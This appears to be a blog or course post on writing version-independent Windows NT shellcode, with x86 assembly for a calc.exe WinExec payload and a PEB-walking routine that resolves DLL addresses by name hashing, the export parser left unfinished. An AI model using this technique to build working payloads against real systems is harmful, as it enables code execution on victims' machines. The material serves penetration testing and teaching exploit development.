Vipin Kumar and Nitin Kumar, authors of the system security section, covered shellcoding step by step and in great details.
Today they are sharing a shellcode that is OS independent and working on any Windows in the NT family.
The techniques used is explained within the course.
When you see a shell-code online, 90% of the times this is for a specific OS version. Our goal is to have a shellcode that not tied to a particular version of the operating system.
This translates into the following:
- We need OS independent method of finding a DLL base address
- We just need to invoke it as easily as possible
As an example, we will consider the winexec shellcode, which executes calc.exe as the payload, though more complex payloads can be written, similarly.
[CODE]
PUSH DWORD 0 ; null terminate the filename
PUSH DWORD '.exe'
PUSH DWORD 'calc'
MOV ESI, ESP
PUSH 1
PUSH ESI
PUSH DWORD 0xF4C07457 ; Hash for WinExec
PUSH DWORD 0x50BB715E ; Hash for KERNEL32.DLL
CALL Execute_External_Function_Call
[/CODE]
As you can see above, we first push the function parameters, then we push function specific parameters needed for invoking it( DLL's hash and function hash ).
Now consider the function Execute_External_Function_Call.
It basically consists of PEB parser so as to find the DLL's base address and then we use the export table parser to call the function.
So, the algorithm is
parse the PEB block and find each DLL which is loaded into the process
find the DLL name, make it upper case and then calculate the hash
check if calculated hash matches hash provided by the user
if yes, then get the base address and jump to export table parser code
Actual code is
[CODE]
Execute_External_Function_Call:
POP ESI
POP EDI ; Get the DLL hash which contains our functions
push ESI
mov eax, [fs:30h] ; read PEB address
mov eax, [eax + 0x0c]
mov eax, [eax + 0x1c]
; at this moment EAX contains first _LDR_ENTRY structure
MOV ECX, EAX
MOV EBX, [ EAX + 4] ; last LDR entry
; below function calculates the hash of DLL name , which is a unicode_string
next_dll:
push EAX ; store backup
mov esi, [ eax + 32]
xor eax, eax
cdq
process_next_byte :
lodsb
inc ESI
cmp al, 0x60
jl conv_not_needed
sub al, 0x20 ; make the name upper case
conv_not_needed:
ror edx, 0xd ; calculate hash
add edx, eax
test al, al
jnz process_next_byte
cmp edx, EDI
je name_found
pop eax
MOV EAX, [ EAX ] ; load next ldr_entry
CMP EAX , EBX
je DLL_not_loaded;
jmp next_dll
; if DLL is not loaded, then we reach here, you know what to do
DLL_not_loaded:
name_found: ; so lets get ready to call the function
POP EAX;
MOV EBP, [EAX + 8]; ;lets DIG the base ADDRESS of our DLL
; now EBP contain base address of module
HERE should be the export table parser code
[/CODE]
This kind of shellcode saves a lot of time during a penetration test when the environment to test is heterogeneous. Avoiding to have a specific shellcode for each version of Windows and for each Service Pack level is a big time saver.